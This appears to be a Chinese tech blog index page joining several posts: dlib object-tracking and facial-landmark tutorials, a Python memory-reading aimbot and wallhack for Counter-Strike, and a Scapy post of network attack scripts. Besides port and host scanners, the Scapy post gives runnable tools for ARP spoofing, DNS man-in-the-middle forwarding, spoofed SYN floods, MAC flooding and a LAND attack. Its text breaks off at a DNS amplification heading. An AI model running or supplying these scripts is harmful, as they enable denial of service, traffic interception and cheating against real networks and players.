dlib Python # library. This object lets you track the position of an object as it moves # from frame to frame in a video sequence. To use it, you give the # correlation_tracker the bounding box of the object you want to track in the # current video frame. Then it will identify the location of the object in # subsequent frames. # # In this particular example, we are going to run on the # video sequence that comes with dlib, which can be found in the # examples/video_frames folder. This video shows a juice box sitting on a table # and someone is waving the camera around. The task is to track the position of # the juice box as the camera moves around. # # # COMPILING/INSTALLING THE DLIB PYTHON INTERFACE # You can install dlib using the command: # pip install dlib # # Alternatively, if you want to compile dlib yourself then go into the dlib # root folder and run: # python setup.py install # or # python setup.py install --yes USE_AVX_INSTRUCTIONS # if you have a CPU that supports AVX instructions, since this makes some # things run faster. # # Compiling dlib should work on any operating system so long as you have # CMake and boost-python installed. On Ubuntu, this can be done easily by # running the command: # sudo apt-get install libboost-python-dev cmake # # Also note that this example requires scikit-image which can be installed # via the command: # pip install scikit-image # Or downloaded from http://scikit-image.org/download.html. import os import glob import dlib from skimage import io # Path to the video frames video_folder = os.path.join("..", "examples", "video_frames") # Create the correlation tracker - the object needs to be initialized # before it can be used tracker = dlib.correlation_tracker() win = dlib.image_window() # We will track the frames as we load them off of disk for k, f in enumerate(sorted(glob.glob(os.path.join(video_folder, "*.jpg")))): print("Processing Frame {}".format(k)) img = io.imread(f) # We need to initialize the tracker on the first frame if k == 0: # Start a track on the juice box. If you look at the first frame you # will see that the juice box is contained within the bounding # box (74, 67, 112, 153). tracker.start_track(img, dlib.rectangle(74, 67, 112, 153)) else: # Else we just attempt to track from the previous frame tracker.update(img) win.clear_overlay() win.set_image(img) win.add_overlay(tracker.get_position()) dlib.hit_enter_to_continue(){dotted startColor="#ff6c6c" endColor="#1989fa"/}
2022年07月22日
123 阅读
0 评论
50 点赞
2022-07-21
【技术分享】Python3 人脸特征点标定 opencv + dlib实现 ( 第二课 )
简介在我们检测到人脸区域之后,接下来要研究的问题是获取到不同的脸部的特征,以区分不同人脸,即人脸特征检测(facial feature detection)。它也被称为人脸特征点检测(facial landmark detection)。人脸特征点通常会标识出脸部的下列数个区域:右眼眉毛(Right eyebrow)左眼眉毛(Left eyebrow)右眼(Right eye)左眼(Left eye)嘴巴(Mouth)鼻子(Nose)下巴(Jaw)dlib提供了训练好的模型,可以识别人脸的68个特征点{cloud title="68特征数据" type="bd" url="https://www.123684.com/s/Ke1Jjv-h1go3" password=""/} import dlib import cv2 # 使用 Dlib 的正面人脸检测器 frontal_face_detector detector = dlib.get_frontal_face_detector() # Dlib 的 68点模型 predictor = dlib.shape_predictor("shape_predictor_68_face_landmarks.dat") # 读取图片 img = cv2.imread("2.jpeg") # 生成 Dlib 的图像窗口 win = dlib.image_window() win.set_image(img) # 使用 detector 检测器来检测图像中的人脸 faces = detector(img, 1) print("人脸数:", len(faces)) for i, d in enumerate(faces): print("第", i+1, "个人脸的矩形框坐标:", "left:", d.left(), "right:", d.right(), "top:", d.top(), "bottom:", d.bottom()) # 使用predictor来计算面部轮廓 shape = predictor(img, faces[i]) # 绘制面部轮廓 win.add_overlay(shape) # 绘制矩阵轮廓 win.add_overlay(faces) dlib.hit_enter_to_continue()完整示例:import cv2 import dlib # 读取图片 img_path = "1.jpeg" img = cv2.imread(img_path) # 转换为灰阶图片 gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY) # 正向人脸检测器 detector = dlib.get_frontal_face_detector() # 使用训练完成的68个特征点模型 predictor_path = "shape_predictor_68_face_landmarks.dat" predictor = dlib.shape_predictor(predictor_path) # 使用检测器来检测图像中的人脸 faces = detector(gray, 1) for i, face in enumerate(faces): # 获取人脸特征点 shape = predictor(img, face) # 遍历所有点 for pt in shape.parts(): # 绘制特征点 pt_pos = (pt.x, pt.y) cv2.circle(img, pt_pos, 1, (255,0, 0), 2) cv2.imshow('opencv_face_laowang',img) # 显示图片 cv2.waitKey(0) # 等待用户关闭图片窗口 cv2.destroyAllWindows()# 关闭窗口{lamp/}
2022年07月21日
85 阅读
0 评论
20 点赞
2022-07-20
【技术分享】Python3 透视自瞄外挂制作
简介Memory64内存模块是自己无聊的时候封装的,它可以轻松的操作进程中的内存,做一些游戏辅助还是可以的,模块源码已上传Github上,现在的版本是1.0.3后续会继续更新的。Github 项目安装教程pip install Memory641.通过Python自带的pip工具就可以安装模块,模块只支持32位Python,64位Python并不兼容。使用步骤python -c "import Memory64; print(Memory64.version)"1.安装好后,在终端输入这行命令,查看下模块版本,正常显示没有报错就证明安装成功了。取64位模块地址from Memory64.Bin32 import * hwnd = Openhwnd("Calculator.exe") # 打开进程句柄 pid = GetProcPid("Calculator.exe") # 获取进程PID mod1 = GetModuleAddr64(hwnd, "shlwapi.dll") # 通过进程句柄获取64位程序模块基址 mod2 = GetModule2(pid, "shlwapi.dll") # 通过进程PID获取64位程序模块基址 print(pid, hwnd, mod1, mod2) # 输出进程PID, 进程句柄, 输出模块基址2.这里我用64位程序计算器,做一个演示看看能不能读到内存地址,很显然是没问题的。读64位进程内存from Memory64.Bin32 import * hwnd = Openhwnd("Calculator.exe") # 打开名为"Calculator.exe"的程序句柄 mod1 = GetModuleAddr64(hwnd, "shlwapi.dll") # 通过进程句柄获取模块基址"shlwapi.dll" print(ReadMemory64Int(hwnd, mod1)) # 读取指定模块基址的64位内存整数3.通过模块读下地址数值,也是没有问题的,后面就不演示了,直接放代码。写64位进程内存from Memory64.Bin32 import * hwnd = Openhwnd("Calculator.exe") # 打开名为"Calculator.exe"的程序句柄 mod1 = GetModuleAddr64(hwnd, "shlwapi.dll") # 获取模块"shlwapi.dll"的基址 addr = ReadMemory64Int(hwnd, 0x7FF8E64CEC48) # 从指定地址读取64位内存整数 addr2 = ReadMemory64Int(hwnd, mod1 + 0x4EC48) # 使用模块基址加上偏移读取64位内存整数 print(addr, addr2) # 输出两个读取的内存地址值 WriteMemory64Int(hwnd, mod1 + 0x4EC48, 10) # 在模块基址加上偏移地址写入整数值10 WriteMemory64Float(hwnd, mod1 + 0x4EC48, 5.261) # 写入小数值5.261 WriteMemory64Int(hwnd, mod1 + 0x4EC48, 10) # 在同一地址写入整数值10 bytesa = "11 33 30 32 32 33 35 40 40 58" # 定义一个字节集数据 WriteMemory64Bytes(hwnd, 0x7FF77E2BE72E, bytesa, 10) # 写入指定地址的字节集数据绘制透明方框from Memory64 import FindWindowPid # 导入内存访问模块 import Memory64.D3Gui # 导入图形绘制模块 hwnd = FindWindowPid(None, "xxx")[0] # 通过窗口名称查找窗口句柄 draw = Memory64.D3Gui.ExecDraw(hwnd) # 初始化图形绘制模块 while True: draw.startLoop() # 开始绘制段 draw.drawRect(100, 100, 100, 100, 5, (255, 254, 0)) # 绘制矩形,参数依次是起始 x 坐标, 起始 y 坐标, 宽度, 高度, 边框宽度, 颜色 (R, G, B) draw.endLoop() # 结束绘制段如何打包最好用这种形式打包:打包方式外挂类型分类AI外挂基于目标检测模型,如 YOLOv5。通过训练目标检测模型,对游戏画面进行分析,检测敌人并自动移动射击。其原理简单,主要依赖于图像处理与深度学习模型,效果一般,适用于辅助操作,但不涉及游戏内修改。内存外挂使用工具如 Cheat Engine(CE)或 Ollydbg(OD)进行内存操作。强大的内存修改能力,可以直接更改游戏数据,但容易被反作弊系统检测。需要掌握游戏内存结构以及通过端口拦截或hook技术来规避检测。封包外挂使用工具如 WPE来抓包并修改数据包。能够欺骗服务器,通过修改包内容实现功能,例如刷枪、强登账号等。数据包(TCP/UDP)可能部分加密,通过技术如异或解密来获取未加密数据部分。脚本外挂模拟玩家的鼠标、键盘操作,通过脚本自动化完成任务。比较简单,适合用来执行重复性操作,但效果有限,仅能辅助功能性增强。代码实现原理Python3 实现:代码结构基于图像处理、内存修改或网络抓包技术。Python可以通过封装库、调用Windows API 或使用现成工具库来实现外挂功能。例如,可以使用 Memory64 库或直接调用内存操作来实现内存外挂。工具推荐:Cheat Engine (CE):内存操作与调试工具。Ollydbg (OD):二进制文件调试工具,适用于反汇编和内存调试。WPE:抓包工具,用于数据包编辑与欺骗服务器。实现说明:所有外挂技术基础都是基于对游戏系统的分析和利用系统漏洞进行功能扩展。所有方法都涉及一定程度的反向工程与安全风险,因此需要谨慎使用。注意事项:所有外挂功能都需要在合法范围内使用,否则可能面临法律后果或账户封禁。游戏外挂涉及风险,因此建议仅用于学习和研究,切勿用于商业或非法用途。自瞄代码from Memory64 import * # 导入自定义的内存访问模块 from math import * # 获取游戏窗口句柄和进程ID hwnd, thre, pid = FindWindowPid("Valve001", None) # 取游戏窗口句柄 func = SetupProce(pid) # 设置进程 Modlue_m = func.GetBaseAddr("cstrike.exe") # 获取模块基址 Modlue_e = func.GetBaseAddr("engine_amxx.dll") # 读取特定内存地址的玩家坐标 Pom = func.ReadMemory(Modlue_m + 0x1033240) # 计算二维坐标之间的距离 def Get_Distance(x1, y2, ex, ey): return sqrt((x1 - ex)**2 + (y2 - ey)**2) / 20 # 启动自瞄功能 def Start_AiMBot(): my_x = func.ReadMemory_float(Pom + 0x88) # 读取玩家 x 坐标 my_y = func.ReadMemory_float(Pom + 0x8C) my_z = func.ReadMemory_float(Pom + 0x90) Enemy_data = [] # 存储敌人数据 Number = 133988 # 初始读取偏移地址 # 遍历敌人的坐标 for _ in range(0, 10): Number += 4 Poe = func.ReadMemory(Modlue_e + Number) # 读取敌人坐标 enemy_x = func.ReadMemory_float(Poe + 0x88) enemy_y = func.ReadMemory_float(Poe + 0x8C) enemy_z = func.ReadMemory_float(Poe + 0x90) enemy_hp = func.ReadMemory_float(Poe + 0x1E0) differ_x = enemy_x - my_x differ_y = enemy_y - my_y _distan = sqrt(differ_x**2 + differ_y**2) differ = Get_Distance(my_x, my_y, enemy_x, enemy_y) AiMBot_y = atan((my_z - enemy_z) / _distan) / pi * 180 # 计算角度 if differ_x > 0 and differ_y > 0: AiMBot_x = atan(differ_y / differ_x) / pi * 180 # 计算第一象限 if differ_x < 0 and differ_y > 0: AiMBot_x = atan(differ_y / differ_x) / pi * 180 + 180 # 计算第二象限 if differ_x < 0 and differ_y < 0: AiMBot_x = atan(differ_y / differ_x) / pi * 180 + 180 # 计算第三象限 if differ_x > 0 and differ_y < 0: AiMBot_x = atan(differ_y / differ_x) / pi * 180 # 计算第四象限 Enemy_data.append([differ, enemy_hp, AiMBot_x, AiMBot_y]) Enemy_data.sort() if Enemy_data[0][1] < 1: del Enemy_data[0] # 删除血量小于1的敌人数据 try: func.WriteMemory_float(Modlue_m + 0x19E10C4, Enemy_data[0][3] + 1) # 设置准星 y 轴位置 func.WriteMemory_float(Modlue_m + 0x19E10C8, Enemy_data[0][2]) # 设置准星 x 轴位置 except Exception: pass # 程序主逻辑 if __name__ == '__main__': try: while True: if MonitorHotkeys(0x20) != 0: # 按空格键开启自瞄 Start_AiMBot() except KeyboardInterrupt: exit()自瞄讲解{dplayer src="https://www.52tt.pro/usr/uploads/2024/03/4066814740.mp4"/}透视代码from Memory64 import * # 导入内存访问模块 import Memory64.D3Gui # 导入图形绘制模块 import numpy as np # 导入数学操作模块 # 获取游戏窗口句柄和进程ID hwnd, thre, pid = FindWindowPid("Valve001", None) Addr = SetupProce(pid) # 设置目标进程 Modlue_e = Addr.GetBaseAddr("amxmodx_mm.dll") # 获取模块基址 Draws = Memory64.D3Gui.ExecDraw(hwnd) # 初始化图形绘制对象 # 初始化矩阵和窗口尺寸 Matarray = np.zeros([4, 4]) GameWinWidth = 1030 / 2 GameWinHeight = 797 / 2 # 开启循环绘制 while True: Draws.startLoop() # 启动绘制循环 initNumber = -4 for i in range(4): for j in range(4): initNumber += 4 Matarray[i][j] = Addr.ReadMemory_float(0x2C20100 + initNumber) # 读取矩阵数据 offset = 0xFFFFFFFFFFFFFCDC for _ in range(2): # 读取敌人坐标数据 offset += 0x324 Poe = Addr.ReadMemory(Modlue_e + 0x1CFE08) # 读取敌人数据块基址 enemy_x = Addr.ReadMemory_float(Poe + 0x88 + offset) # 读取敌人 x 坐标 enemy_y = Addr.ReadMemory_float(Poe + 0x8C + offset) # 读取敌人 y 坐标 enemy_z = Addr.ReadMemory_float(Poe + 0x90 + offset) # 读取敌人 z 坐标 # 计算投影坐标 Vorz = Matarray[0][2] * enemy_x + Matarray[1][2] * enemy_y + Matarray[2][2] * enemy_z + Matarray[3][2] row = 1 / Vorz VorX = GameWinWidth + (Matarray[0][0] * enemy_x + Matarray[1][0] * enemy_y + Matarray[2][0] * enemy_z + Matarray[3][ 0]) * row * GameWinWidth # x 坐标投影 VorY = GameWinHeight - (Matarray[0][1] * enemy_x + Matarray[1][1] * enemy_y + Matarray[2][1] * (enemy_z - 50) + Matarray[3][ 1]) * row * GameWinHeight # y 坐标投影 VorY2 = GameWinHeight - (Matarray[0][1] * enemy_x + Matarray[1][1] * enemy_y + Matarray[2][1] * (enemy_z + 30) + Matarray[3][ 1]) * row * GameWinHeight # 第二个 y 坐标投影 if Vorz < 0: # 如果投影深度小于零,跳过当前循环 continue FanHeight = VorY - VorY2 # 计算高度差 FanWidth = FanHeight * 0.5 # 计算宽度 Draws.drawText("ACT忆梦", 30, 20, 50, (255, 255, 0)) # 绘制文本 Draws.drawRect(VorX - FanWidth / 2, VorY2, FanWidth, FanHeight, 2, (255, 255, 0)) # 绘制矩形 Draws.endLoop() # 结束绘制循环自瞄效果{bilibili bvid="BV1zb4y1E7kC" page=""/}透视效果{bilibili bvid="BV1Eh411q7tA" page=""/}
2022年07月20日
1,678 阅读
0 评论
422 点赞
2022-07-15
【技术分享】Python3 Scapy 实现网络攻击
简介Scapy 是一个功能强大的 Python 工具,允许用户发送、嗅探、解析和伪造网络数据包。它提供了丰富的网络操作功能,使得构建可探测、扫描或攻击网络的工具变得更加简单。 更多详细内容请参考Scapy的官方文档:Scapy 文档安装库pip install scapy可以通过终端直接调用scapy使用基础使用sr() 发送三层数据包,等待接收一个或者多个数据包的响应 sr1() 发送三层数据包,只会接收一个数据包的响应 srp() 发送二层数据包,然后一直等待回应 srp1() 发送二层发送数据包,只返回第一个答案 send() 只发送三层数据包,系统自动处理路由和两层信息 sendp() 只发送二层数据包 带p字母的都是发送二层数据包,必须要写以太网头部Ether(),而且如果是多接口一定要指定接口 不带p字母都是发送三层数据包,不需要填Ether头部,不需要指定接口常用的协议Ether 以太网协议 ARP ARP协议 IP IP协议 UDP UDP协议 TCP TCP协议 ICMP ICMP协议列出协议字段>>> ls(ARP) hwtype : XShortField = (1) ptype : XShortEnumField = (2048) hwlen : FieldLenField = (None) plen : FieldLenField = (None) op : ShortEnumField = (1) hwsrc : MultipleTypeField = (None) psrc : MultipleTypeField = (None) hwdst : MultipleTypeField = (None) pdst : MultipleTypeField = (None)获取帮助>>> help(send) Help on function send in module scapy.sendrecv: send(x, inter=0, loop=0, count=None, verbose=None, realtime=None, return_packets=False, socket=None, *args, **kargs) Send packets at layer 3 send(packets, [inter=0], [loop=0], [count=None], [verbose=conf.verb], [realtime=None], [return_packets=False], # noqa: E501 [socket=None]) -> None 构建 ICMP 包>>> packet =IP(src='192.168.1.115',dst='192.168.1.1')/ICMP() >>> packet <IP frag=0 proto=icmp src=192.168.1.1 dst=192.168.1.2 |<ICMP |>> 查看数据包信息>>> packet.show() ###[ IP ]### version= 4 ihl= None tos= 0x0 len= None id= 1 flags= frag= 0 ttl= 64 proto= icmp chksum= None src= 192.168.1.115 dst= 192.168.1.1 \options\ ###[ ICMP ]### type= echo-request code= 0 chksum= None id= 0x0 seq= 0x0 开启数据嗅探>>> sniff(filter='tcp',count=5) #捕获5个包 <Sniffed: TCP:5 UDP:0 ICMP:0 Other:0> >>> sniff(stop_filter=lambda x: x.haslayer(TCP)) #检测到TCP则停止 <Sniffed: TCP:1 UDP:0 ICMP:0 Other:0> 查看本地网卡>>> show_interfaces() INFO: Table cropped to fit the terminal (conf.auto_crop_tables==True) Source Index Name MAC IPv4 IPv6 libpcap 1 Software Loopback I_ 00:00:00:00:00:00 127.0.0.1 ::1 libpcap 10 Microsoft Wi-Fi Dir_ 9a:3b:8f:e7:a0:4a 169.254.248.16 fe80::404d:f9d:dd6b:_ libpcap 12 WAN Miniport (IP) libpcap 15 VMware Virtual Ethe_ 00:50:56:c0:00:08 192.168.18.1 fe80::4194:c468:a971_ libpcap 18 WAN Miniport (IPv6) libpcap 2 Microsoft Wi-Fi Dir_ 98:3b:8f:e7:a0:4b 169.254.172.205 fe80::84bd:aa4e:25e9_ libpcap 20 WAN Miniport (Netwo_ libpcap 21 VMware Virtual Ethe_ 00:50:56:c0:00:01 192.168.25.1 fe80::b0e6:8f17:ddb1_ libpcap 4 Intel(R) Wireless-A_ 98:3b:8f:e7:a0:4a 192.168.3.39 fe80::3df7:857b:82ec_ libpcap 5 OrayBoxVPN Virtual _ 00:25:e1:00:10:00 172.16.0.226 libpcap 6 Realtek PCIe GbE Fa_ 04:92:26:14:5d:17 169.254.17.179 fe80::ed09:65ab:81af_IP 头部IPv4 Version 版本号IHL 首部长度Total Length 总长度Identification 标识Flags 标志Fragment Offset 片偏移Time To Live 生存时间Protocol 协议Header Checksum 首部校验和Source Address 源地址Destination Address 目标地址Options 可选字段Padding 填充Data 数据部分IPV6 Version 版本号Traffic class 流量分类Flow Label 流量标签Payload length 负载长度Next Header 下一个头部Hop Limit 跳数Source Address 源地址Destination Address 目标IP地址 TCP协议提供一种面向连接的、可靠的字节流服务。面向连接: 两个使用TCP的应用 通常是一个客户端 和一个服务端在彼此交换数据之前必须建立一个TCP连接,TCP建立连接需要进行三次握手,结束时时需要四次挥手即可断开连接 。TCP六个标志位:URG:表示紧急指针是否有效;ACK:表示确认号是否有效,携带ACK标志的数据报文段为确认报文段;PSH:提示接收端的应用程序应该立即从TCP接受缓冲区中读走数据,为接受后数据腾出空间;RST:表示要求对方重新建立连接,携带RST标志位的TCP报文段称为复位报文段;SYN:表示请求建立一个连接,携带SYN标志的TCP报文段称为同步报文段;FIN:通知对方本端要关闭了,带FIN标志的TCP报文段称为结束报文段;TCP 报文结构version版本号ihl首部长度tos区分服务类型len总长度id标识flags标志frag片偏移ttl生存时间proto协议类型chksum首部校验和src源地址dst目标地址options可选字段UDP 头部Source Port 源端口Destination Port 目的端口Length 包长度Check Sum 校验和Data 数据(1)源端口(Source Port):16位的源端口域包含初始化通信的端口号。源端口和IP地址的作用是标识报文的返回地址。(2)目的端口(Destination Port):6位的目的端口域定义传输的目的。这个端口指明报文接收计算机上的应用程序地址接口。(3)封包长度(Length):UDP头和数据的总长度。(4)校验和(Check Sum):和TCP和校验和一样,不仅对头数据进行校验,还对包的内容进行校验。UDP 报文结构sport源端口dport目标端口len包长度chksum校验和这样可以更清晰地展示每个字段的含义。ICMP 头部ICMP type 类型code 代码checksum 校验和type和code不同时值不同原始ip数据报内容icmp是Internet控制报文协议,它是TCP/IP协议簇的一个子协议,用于在IP主机、路由器之间传递控制消息。控制消息是指网络通不通、主机是否可达、路由是否可用等网络本身的消息,这些控制消息虽然并不传输用户数据,但是对于用户数据的传递起着重要的作用。ICMP 报文结构ARP 头部ARP 硬件类型协议类型硬件地址长度协议长度操作类型发送方的硬件地址(0-3字节)源物理地址(4-5字节)源IP地址(0-1字节)源IP地址(2-3字节)目标硬件地址(0-1字节)目标硬件地址(2-5字节)目标IP地址(0-3字节)ARP 报文结构DNS 头部ID: 长度为16位,是一个用户发送查询的时候定义的随机数,当服务器返回结果的时候,返回包的ID与用户发送的一致。QR: 长度1位,值0是请求,1是应答。Opcode: 长度4位,值0是标准查询,1是反向查询,2死服务器状态查询。AA: 长度1位,授权应答(Authoritative Answer) - 这个比特位在应答的时候才有意义,指出给出应答的服务器是查询域名的授权解析服务器。TC: 长度1位,截断(TrunCation) - 用来指出报文比允许的长度还要长,导致被截断。RD: 长度1位,期望递归(Recursion Desired) - 这个比特位被请求设置,应答的时候使用的相同的值返回。如果设置了RD,就建议域名服务器进行递归解析,递归查询的支持是可选的。RA: 长度1位,支持递归(Recursion Available) - 这个比特位在应答中设置或取消,用来代表服务器是否支持递归查询。Z: 长度3位,保留值,值为0.RCode: 长度4位,应答码,类似http的stateCode一样,值0没有错误、1格式错误、2服务器错误、3名字错误、4服务器不支持、DNS 报文结构ARP 单主机扫描from scapy.all import * ip = "192.168.5.4" p = ARP(pdst=ip) ans = sr1(p,timeout=1) if ans != None: ans.display() print(ip,"host is up.") else: print(ip,"host is down.") ARP 多主机扫描from scapy.all import ARP, Ether, srp import ipaddress target_ip = input("请输入目标IP地址/掩码(例如:192.168.1.0/24):") # 解析IP地址/掩码并检查是否有错误 try: network = ipaddress.ip_network(target_ip) except ValueError: print("请输入合法的IP地址/掩码!") else: # 构造ARP请求包 arp = ARP(pdst=target_ip) # 构造以太网数据包 ether = Ether(dst="ff:ff:ff:ff:ff:ff") packet = ether / arp result = srp(packet, timeout=3, verbose=0)[0] # 处理响应数据包 clients = [] for sent, received in result: # 提取响应的MAC和IP地址 clients.append({'ip': received.psrc, 'mac': received.hwsrc}) # 输出扫描结果 print("扫描结果:") print(" IP地址\t\t MAC地址") for client in clients: print("{:<16}{}".format(client['ip'], client['mac']))PING 主机扫描import threading from scapy.all import * ips = [] ip_range = "192.168.1.0-254" ip_list = ip_range.split("-") start_ip = ip_list[0] end_ip = ip_list[1] start_index = int(start_ip.split(".")[-1]) end_index = int(end_ip.split(".")[-1]) ips = [f"{start_ip.rsplit('.', 1)[0]}.{i}" for i in range( start_index, end_index + 1)] def scan(ip): p = IP(dst=ip)/ICMP() ans = sr1(p, iface="Intel(R) Wireless-AC 9560 160MHz", timeout=1) if ans != None: ips.append(ip) threads = [] for ip in ips: t = threading.Thread(target=scan, args=(ip,)) threads.append(t) t.start() for t in threads: t.join() print(ips)SYN 端口扫描from scapy.all import * ip = "192.168.5.4" port = 80 p = IP(dst=ip)/TCP(dport=int(port)) ans = sr1(p,timeout=1,verbose=1) if ans[TCP].flags == 'SA': print(ip,"port",port,"is open.") else: print(ip,"port",port,"is closed.") SYN 多线程端口扫描from scapy.all import * import threading from tqdm import tqdm target_host = input("请输入要扫描的目标主机IP地址 如:(192.168.1.100):") port_range = input("请输入要扫描的端口范围 如:(1-3000):") output_file = input("请输入结果输出文件名 如:(1.txt):") # 解析端口范围 min_port, max_port = map(int, port_range.split("-")) # 设置超时时间 timeout = 1 # 创建锁对象,以便在输出结果时避免竞争条件问题 print_lock = threading.Lock() # 定义写文件函数 def write_result(ip, port): with open(output_file, "a") as f: f.write(f"{ip}:{port}\n") # 定义线程函数 def scan_port(port): # 创建TCP SYN包 packet = IP(dst=target_host)/TCP(dport=port, flags="S") # 发送数据包并获取响应 response_packet = sr1(packet, timeout=timeout, verbose=False) # 解析响应数据包 if response_packet is None: with print_lock: # 使用tqdm库更新进度条 pbar.update(1) elif response_packet.haslayer(TCP) and response_packet.getlayer(TCP).flags == 0x12: # 如果收到SYN-ACK响应,则说明端口开放 with print_lock: # 使用tqdm库更新进度条 pbar.update(1) write_result(target_host, port) else: with print_lock: # 使用tqdm库更新进度条 pbar.update(1) # 创建线程列表 threads = [] # 使用tqdm库创建进度条,总数为需要扫描的端口数量 pbar = tqdm(total=max_port-min_port+1) # 遍历所有需要扫描的端口,并创建一个线程来执行scan_port函数 for port in range(min_port, max_port+1): thread = threading.Thread(target=scan_port, args=(port,)) threads.append(thread) thread.start() # 等待所有线程执行完毕 for thread in threads: thread.join() # 关闭进度条 pbar.close()FIN 端口扫描from scapy.all import * ip = "192.168.5.4" port = 80 p=IP(dst=ip)/TCP(dport=int(port),flags="F") ans=sr1(p,timeout=1,verbose=1) if ans==None: print(ip,"port",port,"is open.") elif ans!=None and ans[TCP].flags=='RA': ans.display() print(ip,"port",port,"is closed.")XMAS 端口扫描XMAS扫描和NULL扫描是FIN扫描的两个变种,XMAS扫描打开FIN URG ACK PSH RST SYN标记并且全部置1。(原理和SYN差不多)from scapy.all import * ip = "192.168.5.4" port = 80 p = IP(dst=ip)/TCP(dport=int(port),flags="FPU") ans = sr1(p,timeout=1,verbose=1) if ans == None: print(ip,"port",port,"is open.") elif ans!=None and ans[TCP].flags=='RA': ans.display() print(ip,"port",port,"is closed.") ICMP 多线程扫描from scapy.all import * import threading import argparse import ipaddress import os import sys # 发送ICMP请求,判断是否存活 def icmp_requset(ip_dst, iface=None): pkt = Ether()/IP(dst=ip_dst) / ICMP(type=8) req = srp1(pkt, timeout=3, verbose=False) if req: print('[+]', ip_dst, ' Host is up') #进行子网的多线程扫描 def icmp_scan(network): threads = [] length = len(network) for ip in network: t = threading.Thread(target=icmp_requset, args=(str(ip),)) threads.append(t) for i in range(length): threads[i].start() for i in range(length): threads[i].join() # 参数选项 def main(): # Windows下注释掉这段 # 判断是否为root if os.getuid() != 0: print('[-]Need root user to run') sys.exit(1) parser = argparse.ArgumentParser() parser.add_argument('network', help='eg:192.168.1.0/24') args = parser.parse_args() network = list(ipaddress.ip_network(args.network)) icmp_scan(network) if __name__ == '__main__': main()流量抓包from scapy.all import * def capture(x): if b'HTTP/' in x.lastlayer().original and x.lastlayer().original[0:4] != b'HTTP': print('dst ip:', x.payload.dst) try: request_body = x.lastlayer().original request_body = request_body.decode('utf-8') except: request_body = str(x.lastlayer().original) if 'allall01.baidupcs.com' in request_body: return if 'netdisk' in request_body: return if 'baidu' in request_body: return print('request body:', request_body) def main(): sniff(filter="tcp", prn=lambda x: capture(x)) if __name__ == '__main__': main()ARP 断网攻击from scapy.all import * import time # pdst是目标IP,psrc是网关的ip p1 = Ether(dst="ff:ff:ff:ff:ff:ff", src="90:A4:07:1B:4A:E9") / \ ARP(pdst="192.168.20.133", psrc="192.168.1.101") while True: sendp(p1) time.sleep(.1)视频效果{dplayer src="https://www.52tt.pro/usr/uploads/2022/07/193850867.mp4"/}ARP 本地防御# 以管理员身份运行cmd netsh i i show in # 列出本地网卡的 IDX 编号 netsh -c i i add neighbors 7 192.168.1.1 00-25-83-01-10-00 # IDX 编号为 7 网关 + 网关MAC地址 回车即可绑定静态MAC地址 netsh -c i i delete neighbors 7 192.168.1.1 # 删除绑定更改为动态DNS 中间人攻击from scapy.all import * wlan2="VMware Virtual Ethernet Adapter for VMnet8" dns_server="192.168.146.130" # win2008已搭好的dns服务器 dnsdst="" def rev(p): global dnsdst try: pip=p[IP] pudp=[UDP] pdns=p[DNS] if p.dport==53 and pip.dst=="192.168.146.2":# 这个包是win7向网关的请求包 dnsdst=pip.src send(IP(src="192.168.146.1",dst=dns_server,ttl=55)/UDP(sport=p[UDP].sport,dport=53)/pdns,iface=wlan2) print("转发查询信息成功",dnsdst) elif p.sport==53 and pip.src==dns_server: #这一个包是搭建的DNS给自己回的包 #print(dnsdst) send(IP(src="192.168.146.2",dst="192.168.146.129",ttl=55)/UDP(sport=53,dport=p[UDP].dport)/pdns,iface=wlan2) print("转发响应信息成功") except : pass print("开始攻击") sniff(iface=wlan2,filter="udp port 53",timeout=300,prn=rev)SYN FLOOD 攻击# 第一版 from scapy.all import * import random def synFlood(): while True: # 构造随机的源IP src='%i.%i.%i.%i'%( random.randint(1,255), random.randint(1, 255), random.randint(1, 255), random.randint(1, 255) ) # 构造随机的端口 sport=random.randint(1024,65535) IPlayer=IP(src=src,dst='192.168.1.104') TCPlayer=TCP(sport=sport,dport=445,flags="S") packet=IPlayer/TCPlayer send(packet) if __name__ == '__main__': synFlood() # 第二版 from scapy.all import * ip = IP(src=RandIP(), dst="192.168.1.104") syn = TCP(sport=RandShort(), dport=445, flags="S", seq=1000) send(ip/syn, inter=0.001, loop=1)SYN FLOOD 完整版from scapy.all import * import random # 生成随机的IP def randomIP(): ip=".".join(map(str,(random.randint(0,255) for i in range(4)))) return ip # 生成随机端口 def randomPort(): port=random.randint(1000,10000) return port # syn-flood def synFlood(count,dstIP,dstPort): total=0 print("Packets are sending ...") for i in range(count): #IPlayer srcIP=randomIP() dstIP=dstIP IPlayer = IP(src=srcIP,dst=dstIP) #TCPlayer srcPort=randomPort() TCPlayer = TCP(sport=srcPort, dport=dstPort, flags="S") #发送包 packet = IPlayer / TCPlayer send(packet) total+=1 print("Total packets sent: %i" % total) # 显示的信息 def info(): print("#"*30) print("# Welcome to SYN Flood Tool #") print("#"*30) # 输入目标IP和端口 dstIP = input("Target IP : ") dstPort = int(input("Target Port : ")) return dstIP, dstPort if __name__ == '__main__': dstIP, dstPort=info() count=int(input("Please input the number of packets:")) synFlood(count,dstIP,dstPort)MAC 泛洪攻击from scapy.all import * #定义网卡接口 iface='eth0' while True: #随机MAC randmac=RandMAC("*:*:*:*:*:*") #随机IP randip=RandIP("*.*.*.*") #构造数据包 packet=Ether(src=randmac,dst=randmac)/IP(src=randip,dst=randip)/ICMP() sendp(packet,iface=iface,loop=0)MAC 泛洪完整版from scapy.all import * import random # 生成随机的MAC def randomMAC(): randmac = RandMAC("*:*:*:*:*:*") return randmac # 生成随机的IP def randomIP(): ip=".".join(map(str,(random.randint(0,255) for i in range(4)))) return ip # Mac-flood def macFlood(count): total = 0 print("Packets are sending ...") for i in range(count): packet = Ether(src=randomMAC(), dst=randomMAC()) / IP(src=randomIP(), dst=randomIP()) / ICMP() sendp(packet, iface='eth0', loop=0) total+=1 print("Total packets sent: %i" % total) if __name__ == '__main__': print("#" * 30) print("# Welcome to Mac Flood Tool #") print("#" * 30) count = int(input("Please input the number of packets:")) macFlood(count)LAND 攻击import scapy.all as scapy import time target = input("Please input your target:") # 输入想要攻击的ip地址 port = input("Please input your target's port:") # 输入端口 port = int(port) # 因为input接收的是str,所以要转换成int型 send_packets=0 # 记录发送包的数量 try: while True: a = (scapy.IP(src=target,dst=target)/scapy.TCP(sport=port,dport=port)) #构造LAND attack攻击包 scapy.send(a,verbose=False) send_packets+=1 #发送一个,自动加一 print("[+] Sent Packets:" + str(send_packets)) time.sleep(1) except KeyboardInterrupt: print("[-] Ctrl+C detected.......")DNS 放大攻击from scapy.all import * a = 